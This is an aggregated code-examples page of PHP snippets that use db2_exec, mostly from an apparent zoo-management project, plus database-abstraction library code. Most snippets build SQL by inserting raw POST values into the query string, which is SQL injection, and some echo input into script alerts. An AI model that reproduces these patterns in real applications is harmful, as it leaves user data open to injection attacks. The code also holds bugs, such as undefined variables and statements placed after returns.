Пример #1
0
function editEquipInfo()
{
    if (isset($_POST)) {
        $equipid = $_POST['update_equipid'];
        $equipname = $_POST['edit_equipname'];
        $equiptype = $_POST['edit_equiptype'];
        $status = $_POST['edit_status'];
    }
    $conn = dbConnect();
    if ($conn) {
        $sql = "UPDATE EMM_ZOO.SANITATION_EQUIP SET EQUIPID = '{$equipid}', EQUIPNAME = '{$equipname}' , EQUIPTYPE = '{$equiptype}', STATUS = '{$status}' WHERE EQUIPID = {$equipid};";
        $result = db2_exec($conn, $sql);
        if ($result) {
            echo "<script>";
            echo "alert('Updated successfully')";
            echo "</script>";
            header('Location: sani_equip.php#car_list');
            exit;
        } else {
            $resultMessage = 0;
            echo "<script>";
            echo "alert('Updated unsuccessfully')";
            echo "</script>";
            return $resultMessage;
        }
        db2_free_stmt($stmt);
        db2_close($conn);
    } else {
        echo db2_conn_errormsg();
    }
}
Пример #2
0
function updateTicket()
{
    // connect db=> stmt sql => insert => refresh page
    if (isset($_POST)) {
        $ticketshowID = $_POST['showid_value'];
    }
    $conn = dbConnect();
    // start connect db
    if ($conn) {
        $insert = " INSERT INTO EMM_ZOO.TICKETSHOW_BUYING (TICKETSHOW_ID, SHOWID, ROUNDID , BUYING_DATE) VALUES (DEFAULT, '{$ticketshowID}',CURRENT TIME, CURRENT DATE);";
        echo $insert;
        $rc = db2_exec($conn, $insert);
        if ($rc) {
            header("Refresh:0; url=ShowList.php");
        } else {
            // If statement is error why see the code
            die('Critical error:' . db2_stmt_error($stmt));
        }
        // finish all query statement
        db2_free_stmt($rc);
        db2_close($conn);
    } else {
        echo db2_conn_errormsg($conn);
    }
}
Пример #3
0
function orderoldfood()
{
    if (isset($_POST)) {
        $food_id = $_POST['food_id'];
        $food_name = $_POST['food_name'];
        $food_type = $_POST['food_type'];
        $add_amount = $_POST['add_amount'];
        $price_per = $_POST['price_per'];
        $total = $add_amount * $price_per;
    }
    $conn = dbConnect();
    if ($conn) {
        $sql0 = "SELECT AMOUNT FROM EMM_ZOO.FM_STOCK WHERE FOODID = {$food_id};";
        $stm = dbQuery($conn, $sql0);
        while ($row = dbFetchArray($conn, $stm)) {
            $amountx = $row[0];
        }
        $amount_now = $amountx + $add_amount;
        $sql1 = "INSERT INTO EMM_ZOO.FOODANIMAL_EXPENSE (FOODEXPENSE_ID,DATES,FOODID,COST,RESPONPERSONID) VALUES (DEFAULT,CURRENT DATE,{$food_id},{$total},'5678');";
        $cb = db2_exec($conn, $sql1);
        $sql2 = "UPDATE EMM_ZOO.FM_STOCK SET AMOUNT = {$amount_now} WHERE FOODID = {$food_id};";
        $cc = db2_exec($conn, $sql2);
        if ($cc && $cb) {
            $resultMessage = 1;
            return $resultMessage;
            header('Location: FoodStock.php#food_list');
        } else {
            $resultMessage = 0;
            return $resultMessage;
        }
        db2_free_stmt($stmt);
        db2_close($conn);
    }
}
Пример #4
0
function updateTicket()
{
    // connect db=> stmt sql => insert => refresh page
    if (isset($_POST)) {
        $tickettourID = $_POST['tourid_value'];
    }
    $conn = dbConnect();
    // start connect db
    if ($conn) {
        $insert = " INSERT INTO EMM_ZOO.TICKETTOUR_TRANSACTION (TICKETTOUR_ID, TOUR_ID, DATE) VALUES (DEFAULT, '{$tickettourID}', CURRENT DATE);";
        echo $insert;
        $rc = db2_exec($conn, $insert);
        if ($rc) {
            header("Refresh:0; url=TourTicket.php");
        } else {
            // If statement is error why see the code
            die('Critical error:' . db2_stmt_error($stmt));
        }
        // finish all query statement
        db2_free_stmt($rc);
        db2_close($conn);
    } else {
        echo db2_conn_errormsg($conn);
    }
}
Пример #5
0
function editCarPlate()
{
    if (isset($_POST)) {
        $carid = $_POST['update_carid'];
        $carplate = $_POST['edit_carplate'];
    }
    $conn = dbConnect();
    if ($conn) {
        $sql = "UPDATE EMM_ZOO.SANICAR SET CARID = '{$carid}', CARPLATE = '{$carplate}' WHERE CARID = {$carid};";
        $result = db2_exec($conn, $sql);
        if ($result) {
            echo "<script>";
            echo "alert('Updated successfully')";
            echo "</script>";
            header('Location: sani_garbage.php#car_list');
            exit;
        } else {
            $resultMessage = 0;
            echo "<script>";
            echo "alert('Updated unsuccessfully')";
            echo "</script>";
            return $resultMessage;
        }
        db2_free_stmt($stmt);
        db2_close($conn);
    } else {
        echo db2_conn_errormsg();
    }
}
Пример #6
0
 function select()
 {
     $conn = $this->connect();
     if ($conn == true) {
         $sql = "SELECT name from helloworld";
         $result = db2_exec($conn, $sql);
         while ($row = db2_fetch_array($result)) {
             echo $text = $row[0];
         }
     }
 }
Пример #7
0
function insertIntoRestaurant($conn, $cities, $name1, $street, $city, $state, $zip, $long, $lat)
{
    if (array_key_exists($city, $cities)) {
        //Used to filter unwanted cities
        $sql = "insert into " . userAccount . ".restaurant values('" . $name1 . "', NULL, '" . $street . "', '" . $city . "', '" . $state . "', '" . $zip . "', '" . COUNTY . "', " . $long . ", " . $lat . ")";
        $result = db2_exec($conn, $sql);
        //if(!$result)
        //log failure
    } else {
        //log rejected city
    }
}
Пример #8
0
function updateTicket()
{
    // connect db=> stmt sql => insert => refresh page
    if (isset($_POST['id_value'])) {
        $transID = $_POST['id_value'];
    }
    $conn = dbConnect();
    // start connect db
    if ($conn) {
        $update = "UPDATE EMM_ZOO.TICKETTRANS_TRANSACTION SET TICKETTRANS_TIMEIN = CURRENT TIME WHERE TICKETTRANS_ID = " . $transID . ";";
        //echo $update;
        $rc = db2_exec($conn, $update);
        if ($rc) {
            //header("Refresh:0; url=TranspotationIN.php");
        } else {
            // If statement is error why see the code
            die('Critical error:' . db2_stmt_error($stmt));
        }
        // finish all query statement
        db2_free_stmt($rc);
        $sql = "SELECT * FROM EMM_ZOO.TICKETTRANS_TRANSACTION JOIN EMM_ZOO.TICKETTRANS_TYPE ON VEHICLETRANS_ID = TRANSTYPE_ID WHERE TICKETTRANS_ID = " . $transID . ";";
        $stmt = db2_exec($conn, $sql);
        while ($row = db2_fetch_assoc($stmt)) {
            $tran_price = $row['TRANSTYPE_PRICE'];
            $tran_type = $row['TRANSTYPE_NAME'];
            $hourOut = (int) substr($row['TICKETTRANS_TIMEOUT'], 0, 2);
            $hourIn = (int) substr($row['TICKETTRANS_TIMEIN'], 0, 2);
            $extraOut = (int) substr($row['TICKETTRANS_TIMEOUT'], 3, 2);
            $extraIn = (int) substr($row['TICKETTRANS_TIMEIN'], 3, 2);
            $price = ($hourIn - $hourOut) * $tran_price;
            // ราคาต้องดึงมาจาก trans_Type table
            if ($extraIn - $extraOut > 0) {
                $price += $tran_price;
            }
            if ($extraIn - $extraOut == 0 && $hourIn - $hourOut == 0 && (int) substr($row['TICKETTRANS_TIMEOUT'], 6, 2) != (int) substr($row['TICKETTRANS_TIMEIN'], 6, 2)) {
                $price += $tran_price;
            }
            if ($stmt) {
                // echo "Insert successfully!!";
                echo "<script>alert('Price of {$tran_type} is {$price}');window.location='TranspotationIN.php';</script>";
                //header("Refresh:0; url=TranspotationIN.php");
            } else {
                // If statement is error why see the code
                die('Critical error:' . db2_stmt_error($stmt));
            }
        }
        db2_free_stmt($rc);
        db2_close($conn);
    } else {
        echo db2_conn_errormsg($conn);
    }
}
Пример #9
0
function updateTicket()
{
    // connect db=> stmt sql => insert => refresh page
    if (isset($_POST)) {
        $type[0] = $_POST['typeC'];
        $type[1] = $_POST['typeA'];
        $type[2] = $_POST['typeF'];
        $num[0] = intval($_POST['TicketNumC']);
        $num[1] = intval($_POST['TicketNumA']);
        $num[2] = intval($_POST['TicketNumF']);
        //$num = $_POST['TicketNum'];
    }
    // start connect db
    $conn = dbConnect();
    if ($conn) {
        //Part one select data from tickettype
        for ($i = 0; $i <= 2; $i++) {
            if ($num[$i] == 0) {
                continue;
            }
            $sql = "SELECT * FROM EMM_ZOO.TICKETGATE_TYPE WHERE TICKETGATE_TYPE = '{$type[$i]}';";
            $stmt = db2_prepare($conn, $sql);
            $result = db2_execute($stmt);
            while ($row = db2_fetch_assoc($stmt)) {
                $ticket_price = $row['TICKETGATETYPE_PRICE'];
                $ticket_type = $row['TICKETGATE_TYPE'];
                $ticket_id = intval($row['TICKETGATETYPE_ID']);
                //printf ("%-5d %-16s %-32d\n",
                //   $ticket_price, $ticket_type, $ticket_id);
            }
            $insert = "INSERT INTO EMM_ZOO.TICKETGATE_TRANSACTION (TICKETGATE_ID, TICKETGATETYPE_ID, TICKETGATE_DATE, TICKETGATE_NUM, TICKETGATE_PRICE) VALUES (DEFAULT, {$ticket_id}, CURRENT DATE, {$num[$i]}" . "," . $ticket_price * $num[$i] . ");";
            //echo $insert;
            $rc = db2_exec($conn, $insert);
            // ตรงนี้ error ยังไม่เสร็จ
            if ($rc) {
                // echo "Insert successfully!!";
                echo "<script>alert('{$num[$i]} {$type[$i]} ticket has sole  in price " . $ticket_price * $num[$i] . "');window.location='GateTricket.php';</script>";
            } else {
                // If statement is error why see the code
                die('Critical error:' . db2_stmt_error($stmt));
            }
            // finish all query statement
            db2_free_stmt($stmt);
        }
        db2_close($conn);
    } else {
        echo db2_conn_errormsg($conn);
    }
}
Пример #10
0
function carReturn()
{
    $up = "Y";
    if (isset($_POST)) {
        $empID = $_POST['empID'];
        $carID = $_POST['carID'];
        // an array that want to insert this can be multiple array at the time.
        // print var_dump to display an array of variable data with type that prepare for query.
        //echo var_dump($data) ."<br>";
    }
    // define $conn from model
    $conn = dbConnect();
    if ($conn) {
        // DEFAULT if you set generated as identify with specifier this will auto increament for integer.
        $delete = "DELETE FROM EMM_ZOO.CARS_BORROWED WHERE EMM_ZOO.CARS_BORROWED.CARID = '" . $carID . "';";
        $update = "UPDATE EMM_ZOO.CARS SET EMM_ZOO.CARS.AVAILABLE = '" . $up . "' WHERE EMM_ZOO.CARS.CARID = '" . $carID . "';";
        $guanteen = "SELECT AVAILABLE FROM EMM_ZOO.CARS WHERE EMM_ZOO.CARS.CARID = '" . $carID . "';";
        $ans = dbQuery($conn, $guanteen);
        $row = dbFetchArray($conn, $ans);
        if ($row[0] == 'Y' || $row[0] == 'y') {
            echo "<script type='text/javascript'>alert(' This car has not been borrowed yet');</script>";
            header("Refresh:0; url=returnCar.php");
        } else {
            $result = db2_exec($conn, $delete);
            if ($result) {
                $result2 = db2_exec($conn, $update);
                if ($result2) {
                    echo "<script type='text/javascript'>alert('CAR RETURNED');</script>";
                    header("Refresh:0; url=returnCar.php");
                } else {
                    echo "<script type='text/javascript'>alert('You need to fill all input OR Your employeeID,carID does not exist');</script>";
                    header("Refresh:0; url=TransportationEmployee.php");
                }
            } else {
                // If statement is error why see the code
                die('Critical error:' . db2_stmt_error($stmt));
            }
            db2_free_stmt($result);
            db2_free_stmt($result2);
        }
        db2_free_stmt($ans);
        db2_free_stmt($row);
        db2_close($conn);
    } else {
        echo db2_conn_errormsg($conn);
    }
}
Пример #11
0
function ordernewfood()
{
    if (isset($_POST)) {
        $food_name = $_POST['food_name'];
        $food_type = $_POST['food_type'];
        $add_amount = $_POST['add_amount'];
        $price_per = $_POST['price_per'];
        $total = $add_amount * $price_per;
        $username = $_POST['username'];
        $data = array($food_name, $food_type, $add_amount, $price_per);
    }
    $conn = dbConnect();
    if ($conn) {
        $conn = dbConnect();
        $sql0 = "INSERT INTO EMM_ZOO.FM_STOCK (FOODID,FOODNAME,TYPE,AMOUNT,PERAMOUNT) VALUES(DEFAULT,'{$food_name}','{$food_type}',{$add_amount}, {$price_per})";
        $ca = db2_exec($conn, $sql0);
        if ($ca) {
            $resultMessage = 1;
            return $resultMessage;
        } else {
            $resultMessage = 0;
            return $resultMessage;
        }
        $sql1 = "SELECT FOODID FROM EMM_ZOO.FM_STOCK WHERE FOODNAME = '{$food_name}';";
        $stm = dbQuery($conn, $sql);
        while ($row = dbFetchArray($conn, $stm)) {
            $foodidx = $row[0];
        }
        $sql2 = "INSERT INTO EMM_ZOO.FOODANIMAL_EXPENSE (FOODEXPENSE_ID,DATES,FOODID,COST,RESPONPERSONID) VALUES (DEFAULT,current date,{$foodidx},{$total},{$username});";
        $sc = db2_exec($conn, $sql2);
        if ($sc) {
            $resultMessage = 1;
            return $resultMessage;
            header('Location: FoodStock.php#order_new');
            exit;
        } else {
            $resultMessage = 0;
            return $resultMessage;
        }
        db2_free_stmt($stmt);
        db2_close($conn);
    }
}
Пример #12
0
function editEmployeeInfo()
{
    if (isset($_POST)) {
        $empid = $_POST['update_empid'];
        $jobid = $_POST['edit_jobid'];
        $firstname = $_POST['edit_firstname'];
        $lastname = $_POST['edit_lastname'];
        $birthdate = $_POST['edit_birthdate'];
        $sex = $_POST['edit_sex'];
        $nationality = $_POST['edit_nationality'];
        $hiredate = $_POST['edit_hiredate'];
        $address = $_POST['edit_address'];
        $email = $_POST['edit_email'];
        $phone = $_POST['edit_phone'];
        $salary = $_POST['edit_salary'];
        $bonus = $_POST['edit_bonus'];
    }
    $conn = dbConnect();
    if ($conn) {
        $sql = "UPDATE EMM_ZOO.EMPLOYEE SET EMPID = '{$empid}', JOBID = '{$jobid}', FIRSTNAME = '{$firstname}', LASTNAME = '{$lastname}', BIRTHDATE = '{$birthdate}', SEX = '{$sex}', NATIONALITY = '{$nationality}', HIREDATE = '{$hiredate}', ADDRESS = '{$address}', EMAIL = '{$email}', PHONE = '{$phone}' , SALARY = '{$salary}', BONUS = '{$bonus}' WHERE EMPID = {$empid};";
        $result = db2_exec($conn, $sql);
        if ($result) {
            echo "<script>";
            echo "alert('Updated successfully')";
            echo "</script>";
            header('Location: sani_emp.php#emp_list');
            exit;
        } else {
            $resultMessage = 0;
            echo "<script>";
            echo "alert('Updated unsuccessfully')";
            echo "</script>";
            return $resultMessage;
        }
        db2_free_stmt($stmt);
        db2_close($conn);
    } else {
        echo db2_conn_errormsg();
    }
}
Пример #13
0
function addRound()
{
    if (isset($_POST)) {
        $showID = $_POST['showID'];
        $roundID = $_POST['roundID'];
        $starttime = $_POST['starttime'];
        $endtime = $_POST['endtime'];
        $showdate = $_POST['showdate'];
    }
    $conn = dbConnect();
    if ($conn) {
        $insert = "INSERT INTO EMM_ZOO.SHOW_TIMETABLE(SHOWID, ROUNDID, STARTTIME, ENDTIME, DATES) values({$showID}, {$roundID}, '{$starttime}', '{$endtime}', '{$showdate}');";
        //$insert = "INSERT INTO EMM_ZOO.SHOW_TIMETABLE(SHOWID, ROUNDID, STARTTIME, ENDTIME, DATES) values(1, 3, '16:00:00', '16:30:00', '11/12/2015');";
        $rc = db2_exec($conn, $insert);
        if ($rc) {
            echo "Insert Successful";
        } else {
            die('Critical error: ' . db2_stmt_error($rc));
        }
        $sql = "SELECT * from EMM_ZOO.SHOW WHERE SHOWID = {$showID};";
        $stmt = db2_prepare($conn, $sql);
        $result = db2_execute($stmt);
        while ($row = db2_fetch_assoc($stmt)) {
            $zone = $row['BUILDINGID'];
            $name = $row['SHOWNAME'];
        }
        $insert = "INSERT INTO EMM_ZOO.SHOW_TICKET(SHOWID, STARTTIME, ENDTIME, DATES, SHOWNAME, ZONEID) values({$showID}, '{$starttime}', '{$endtime}', '{$showdate}', '{$name}', {$zone});";
        $rc = db2_exec($conn, $insert);
        if ($rc) {
            echo "Insert Successful";
        } else {
            die('Critical error: ' . db2_stmt_error($rc));
        }
        db2_free_stmt($stmt);
        db2_close($conn);
    } else {
        echo db2_conn_errormsg($conn);
    }
}
Пример #14
0
function exportfood()
{
    if (isset($_POST)) {
        $food_id = $_POST['food_id2'];
        $food_name = $_POST['food_name2'];
        $food_type = $_POST['food_type2'];
        $out_amount = $_POST['out_amount'];
        $username = $_SESSION['current_user_name'];
    }
    $conn = dbConnect();
    if ($conn) {
        $sql0 = "SELECT AMOUNT FROM EMM_ZOO.FM_STOCK WHERE FOODID = {$food_id};";
        $stm = dbQuery($conn, $sql0);
        while ($row = dbFetchArray($conn, $stm)) {
            $amountx = $row[0];
        }
        $amount_now = $amountx - $out_amount;
        if ($amount_now > 0) {
            $sql1 = "UPDATE EMM_ZOO.FM_STOCK SET AMOUNT = {$amount_now} WHERE FOODID = {$food_id};";
            $cz = db2_exec($conn, $sql1);
            $sql2 = "INSERT INTO EMM_ZOO.FOOD_GIVE(GIVENO,FOODID,EMPID,FOODNAME,FOODTYPE,AMOUNT,GIVETIME,ANIMAL) VALUES (DEFAULT,'{$food_id}','5678','{$food_name}','{$food_type}',{$out_amount},NULL,NULL);";
            $cb = db2_exec($conn, $sql2);
            if ($cb && $cz) {
                $resultMessage = 1;
                return $resultMessage;
                header('Location: FoodStock.php#food_list');
            } else {
                $resultMessage = 0;
                return $resultMessage;
            }
            db2_free_stmt($stmt);
            db2_close($conn);
        } else {
            echo "<script language='javascript'>alert('Not enough food!');</script>";
        }
    }
}
Пример #15
0
function addEmp2()
{
    if (isset($_POST)) {
        $EmpID = $_POST['employeeAdd'];
        // an array that want to insert this can be multiple array at the time.
    }
    $conn = dbConnect();
    if ($conn) {
        $sql = "INSERT INTO EMM_ZOO.MAINTEGERAINPERSON (MPSNO, EMPID, REQUESTID) VALUES ({$EmpID}, {$EmpID} ,0);";
        //$sql2 = 'INSERT INTO EMM_ZOO.EMP_SANI (EMPID) VALUES (?);';
        //echo $sql;
        // prepare statement using connection and sql
        // If statement is valid execute it to db2
        //echo "SQL is valid<br>";
        $result = db2_exec($conn, $sql);
        if ($result) {
            $resultMessage = "Successfully added to maintainance personel";
            //echo "Successfully added";
            echo "<script>";
            echo "alert('Added successfully')";
            echo "</script>";
            header("Refresh:0; url=team.php");
            exit;
        } else {
            $resultMessage = "Failed to query into database";
            echo "<script>";
            echo "alert('Failed to query into database')";
            echo "</script>";
            header("Refresh:0; url=team.php");
        }
        db2_free_stmt($result);
        db2_close($conn);
    } else {
        echo db2_conn_errormsg();
    }
}
Пример #16
0
function addRound()
{
    if (isset($_POST)) {
        $showID = $_POST['showID'];
        $roundID = $_POST['roundID'];
        $starttime = $_POST['starttime'];
        $endtime = $_POST['endtime'];
        $showdate = $_POST['showdate'];
    }
    $conn = dbConnect();
    if ($conn) {
        //$insert = "Update";
        $rc = db2_exec($conn, $insert);
        if ($rc) {
            echo "Insert Successful";
        } else {
            die('Critical error: ' . db2_stmt_error($rc));
        }
        db2_free_stmt($stmt);
        db2_close($conn);
    } else {
        echo db2_conn_errormsg($conn);
    }
}
Пример #17
0
function updateTicket()
{
    // connect db=> stmt sql => insert => refresh page
    if (isset($_POST)) {
        $type = $_POST['type'];
    }
    // start connect db
    $conn = dbConnect();
    if ($conn) {
        //Part one select data from tickettype
        $sql = "SELECT * FROM EMM_ZOO.TICKETTRANS_TYPE WHERE TRANSTYPE_NAME = '{$type}';";
        //echo $sql;
        $stmt = db2_prepare($conn, $sql);
        $result = db2_execute($stmt);
        while ($row = db2_fetch_assoc($stmt)) {
            $tran_price = $row['TRANSTYPE_PRICE'];
            $tran_type = $row['TRANSTYPE_NAME'];
            $tran_id = $row['TRANSTYPE_ID'];
            // printf ("%-5d %-16s %-32d\n",
            //    $tran_price, $tran_type, $tran_id);
        }
        $insert = " INSERT INTO EMM_ZOO.TICKETTRANS_TRANSACTION (TICKETTRANS_ID, VEHICLETRANS_ID, TICKETTRANS_DATE , TICKETTRANS_TIMEIN ,TICKETTRANS_TIMEOUT) VALUES (DEFAULT, '{$tran_id}',CURRENT DATE , NULL, CURRENT TIME);";
        $rc = db2_exec($conn, $insert);
        if ($rc) {
            echo "<script>alert('1 {$tran_type} has rent');window.location='TranspotationTricket.php';</script>";
        } else {
            // If statement is error why see the code
            die('Critical error:' . db2_stmt_error($stmt));
        }
        // finish all query statement
        db2_free_stmt($stmt);
        db2_close($conn);
    } else {
        echo db2_conn_errormsg($conn);
    }
}
Пример #18
0
 /**
  * Executes an unbuffered SQL query
  * 
  * @param  string|fStatement $statement  The statement to perform
  * @param  fUnbufferedResult $result     The result object for the query
  * @param  array             $params     The parameters for prepared statements
  * @return void
  */
 private function performUnbufferedQuery($statement, $result, $params)
 {
     fCore::startErrorCapture();
     $extra = NULL;
     if (is_object($statement)) {
         $statement->executeUnbufferedQuery($result, $params, $extra, $statement != $this->statement);
     } elseif ($this->extension == 'ibm_db2') {
         $result->setResult(db2_exec($this->connection, $statement, array('cursor' => DB2_FORWARD_ONLY)));
     } elseif ($this->extension == 'mssql') {
         $result->setResult(mssql_query($result->getSQL(), $this->connection, 20));
     } elseif ($this->extension == 'mysql') {
         $result->setResult(mysql_unbuffered_query($result->getSQL(), $this->connection));
     } elseif ($this->extension == 'mysqli') {
         $result->setResult(mysqli_query($this->connection, $result->getSQL(), MYSQLI_USE_RESULT));
     } elseif ($this->extension == 'oci8') {
         $extra = oci_parse($this->connection, $result->getSQL());
         if (oci_execute($extra, $this->inside_transaction ? OCI_DEFAULT : OCI_COMMIT_ON_SUCCESS)) {
             $result->setResult($extra);
         } else {
             $result->setResult(FALSE);
         }
     } elseif ($this->extension == 'pgsql') {
         $result->setResult(pg_query($this->connection, $result->getSQL()));
     } elseif ($this->extension == 'sqlite') {
         $result->setResult(sqlite_unbuffered_query($this->connection, $result->getSQL(), SQLITE_ASSOC, $extra));
     } elseif ($this->extension == 'sqlsrv') {
         $result->setResult(sqlsrv_query($this->connection, $result->getSQL()));
     } elseif ($this->extension == 'pdo') {
         $result->setResult($this->connection->query($result->getSQL()));
     }
     $this->statement = $statement;
     $this->handleErrors(fCore::stopErrorCapture());
     $this->checkForError($result, $extra);
 }
Пример #19
0
<?php

require_once '/var/www/html/app/model/connect.php';
$sql = "SELECT BUILDINGNAME FROM EMM_ZOO.BUILDING ORDER BY BUILDINGID;";
if ($conn) {
    $stmt = db2_exec($conn, $sql);
    if ($stmt) {
        while ($row = db2_fetch_assoc($stmt)) {
            print "<option value='" . $row['BUILDINGID'] . "'>" . $row['BUILDINGNAME'] . "</option>";
        }
    }
    db2_free_stmt($stmt);
} else {
    echo db2_conn_errormsg($conn);
}
Пример #20
0
/**
 * Executes a SQL query.
 *
 * <b>Note:</b> Use the {@link dbi_error()} function to get error information
 * if the connection fails.
 *
 * @param string $sql          SQL of query to execute
 * @param bool   $fatalOnError Abort execution if there is a database error?
 * @param bool   $showError    Display error to user (including possibly the
 *                             SQL) if there is a database error?
 *
 * @return mixed The query result resource on queries (which can then be
 *               passed to the {@link dbi_fetch_row()} function to obtain the
 *               results), or true/false on insert or delete queries.
 */
function dbi_query($sql, $fatalOnError = true, $showError = true)
{
    global $phpdbiVerbose;
    if (strcmp($GLOBALS["db_type"], "mysql") == 0) {
        $res = mysql_query($sql);
        if (!$res) {
            dbi_fatal_error("Error executing query." . $phpdbiVerbose ? dbi_error() . "\n\n<br />\n" . $sql : "" . "", $fatalOnError, $showError);
        }
        return $res;
    } else {
        if (strcmp($GLOBALS["db_type"], "mysqli") == 0) {
            $res = mysqli_query($GLOBALS["db_connection"], $sql);
            if (!$res) {
                dbi_fatal_error("Error executing query." . $phpdbiVerbose ? dbi_error() . "\n\n<br />\n" . $sql : "" . "", $fatalOnError, $showError);
            }
            return $res;
        } else {
            if (strcmp($GLOBALS["db_type"], "mssql") == 0) {
                $res = mssql_query($sql);
                if (!$res) {
                    dbi_fatal_error("Error executing query." . $phpdbiVerbose ? dbi_error() . "\n\n<br />\n" . $sql : "" . "", $fatalOnError, $showError);
                }
                return $res;
            } else {
                if (strcmp($GLOBALS["db_type"], "oracle") == 0) {
                    $GLOBALS["oracle_statement"] = OCIParse($GLOBALS["oracle_connection"], $sql);
                    return OCIExecute($GLOBALS["oracle_statement"], OCI_COMMIT_ON_SUCCESS);
                } else {
                    if (strcmp($GLOBALS["db_type"], "postgresql") == 0) {
                        @($GLOBALS["postgresql_row[\"{$res}\"]"] = 0);
                        $res = pg_exec($GLOBALS["postgresql_connection"], $sql);
                        if (!$res) {
                            dbi_fatal_error("Error executing query." . $phpdbiVerbose ? dbi_error() . "\n\n<br />\n" . $sql : "" . "", $fatalOnError, $showError);
                        }
                        $GLOBALS["postgresql_numrows[\"{$res}\"]"] = pg_numrows($res);
                        return $res;
                    } else {
                        if (strcmp($GLOBALS["db_type"], "odbc") == 0) {
                            return odbc_exec($GLOBALS["odbc_connection"], $sql);
                        } else {
                            if (strcmp($GLOBALS["db_type"], "ibm_db2") == 0) {
                                $res = db2_exec($GLOBALS["ibm_db2_connection"], $sql);
                                if (!$res) {
                                    dbi_fatal_error("Error executing query." . $phpdbiVerbose ? dbi_error() . "\n\n<br />\n" . $sql : "" . "", $fatalOnError, $showError);
                                }
                                return $res;
                            } else {
                                if (strcmp($GLOBALS["db_type"], "ibase") == 0) {
                                    $res = ibase_query($sql);
                                    if (!$res) {
                                        dbi_fatal_error("Error executing query." . $phpdbiVerbose ? dbi_error() . "\n\n<br />\n" . $sql : "" . "", $fatalOnError, $showError);
                                    }
                                    return $res;
                                } else {
                                    dbi_fatal_error("dbi_query(): db_type not defined.");
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}
Пример #21
0
function addShow()
{
    if (isset($_POST)) {
        $showName = $_POST['showName'];
        $animalID = $_POST['animalID'];
        $staffID = $_POST['staffID'];
        $buildingID = $_POST['buildingID'];
        $seat = $_POST['seat'];
        $price = $_POST['price'];
    }
    $conn = dbConnect();
    if ($conn) {
        $sql = "SELECT EMPID FROM EMM_ZOO.EMPLOYEE WHERE EMPID = " . $staffID;
        $stmt = db2_prepare($conn, $sql);
        $result = db2_execute($stmt);
        $count = 0;
        while ($row = db2_fetch_assoc($stmt)) {
            $count++;
        }
        if ($count <= 0) {
            echo "Wrong Staff ID.";
        } else {
            // Query
            db2_free_stmt($stmt);
            $sql = "SELECT ANIMALID FROM EMM_ZOO.ANIMAL WHERE ANIMALID = " . $animalID;
            $stmt = db2_prepare($conn, $sql);
            $result = db2_execute($stmt);
            $count = 0;
            while ($row = db2_fetch_assoc($stmt)) {
                $count++;
            }
            if ($count <= 0) {
                echo "Wrong Animal ID.";
            } else {
                $insert = "INSERT INTO EMM_ZOO.SHOW(SHOWID, SHOWNAME, BUILDINGID, SEAT_AMOUNT, PRICE) values(DEFAULT, '{$showName}', {$buildingID}, {$seat}, {$price});";
                $rc = db2_exec($conn, $insert);
                if ($rc) {
                    db2_free_stmt($stmt);
                    $sql = "SELECT SHOWID from EMM_ZOO.SHOW;";
                    $stmt = db2_prepare($conn, $sql);
                    $result = db2_execute($stmt);
                    while ($row = db2_fetch_assoc($stmt)) {
                        $show_showID = $row['SHOWID'];
                    }
                    $insert = "INSERT INTO EMM_ZOO.SHOW_ANIMAL (SHOWID, ANIMALID) VALUES ({$show_showID}, {$animalID});";
                    $rc = db2_exec($conn, $insert);
                    if ($rc) {
                        echo "Insert Successful";
                    } else {
                        die('Critical error: ' . db2_stmt_error($stmt));
                    }
                    $insert = "INSERT INTO EMM_ZOO.SHOW_STAFF (SHOWID, EMPID) VALUES ({$show_showID}, {$staffID});";
                    $rc = db2_exec($conn, $insert);
                    if ($rc) {
                        echo "Insert Successful";
                    } else {
                        die('Critical error: ' . db2_stmt_error($stmt));
                    }
                    /*
                                        $insert = "INSERT INTO EMM_ZOO.SHOW_TICKET (SHOWID, SHOWNAME, BUILDINGID) VALUES ($show_showID, '$showName', $buildingID);";
                                        $rc=db2_exec($conn, $insert);
                    
                                        if($rc) {
                                            echo "Insert Successful";
                                        }
                                        else { 
                                            die('Critical error: '. db2_stmt_error($stmt));
                                        }*/
                } else {
                }
            }
        }
        db2_free_stmt($stmt);
        db2_close($conn);
    } else {
        echo db2_conn_errormsg($conn);
    }
}
Пример #22
0
<?php

require_once '/var/www/html/app/model/connect.php';
if (isset($_POST)) {
    $shopexid = $_POST['shopexid'];
    $date = $_POST['date'];
    $shopexlist = $_POST['shopexlist'];
    $price = $_POST['price'];
    $responid = $_POST['responid'];
}
$conn = dbConnect();
if ($conn) {
    $insert = "INSERT INTO EMM_ZOO.ZOOSHOP_EXPENSE(SHOPEXPENSE_ID, DATES, SHOPEXPENSE_LIST,PRICE, RESPONPERSONID) values({$shopexid},  '{$date}', '{$shopexlist}',  {$price} , {$responid});";
    $rc = db2_exec($conn, $insert);
    if ($rc) {
        echo "sucessfull";
        header('Location:insert.php');
    } else {
        die('Critical error: ' . db2_stmt_error($stmt));
    }
    db2_free_stmt($stmt);
    db2_close($conn);
} else {
    echo db2_conn_errormsg($conn);
}
Пример #23
0
function insertIntoRestaurant($name1, $street, $city, $state, $zip, $long, $lat, $conn, $cities)
{
    $sql = "insert into " . userAccount . ".restaurant values('" . db2_escape_string($name1) . "', NULL, '" . db2_escape_string($street) . "', '" . db2_escape_string($city) . "', '" . db2_escape_string($state) . "', '" . db2_escape_string($zip) . "', '" . COUNTY . "', " . $long . ", " . $lat . ", db2gse.ST_Point(" . $long . ", " . $lat . ", 1))";
    if (array_key_exists($city, $GLOBALS['cities'])) {
        //Hashmap lookup to filter unwanted cities, O(1)
        /*
        		$result = db2_exec( $GLOBALS['conn'] , $sql );
        		if(!$result){
        			//log failure
        			//$sql .= "\r\n";
        			saveToFile(errorFile, $sql."\r\n");
                }*/
        try {
            $result = db2_exec($GLOBALS['conn'], $sql);
            //saveToFile(errorFile1, $sql."\r\n");
        } catch (Exception $e) {
            //log failure
            //$sql .= "\r\n";
            saveToFile(errorFile1, $sql . "\r\n");
            echo "Query Failed<br>";
            echo "Exception: " . $e->getMessage() . "<br>";
            echo db2_conn_error() . "<br>";
            echo db2_conn_errormsg() . "<br>";
        }
    } else {
        //log rejected city
        //$sql .= "\r\n";
        saveToFile(errorFile2, $sql . "\r\n");
    }
}
Пример #24
0
 function _query($sql, $inputarr = false)
 {
     global $php_errormsg;
     if (isset($php_errormsg)) {
         $php_errormsg = '';
     }
     $this->_error = '';
     if ($inputarr) {
         if (is_array($sql)) {
             $stmtid = $sql[1];
         } else {
             $stmtid = db2_prepare($this->_connectionID, $sql);
             if ($stmtid == false) {
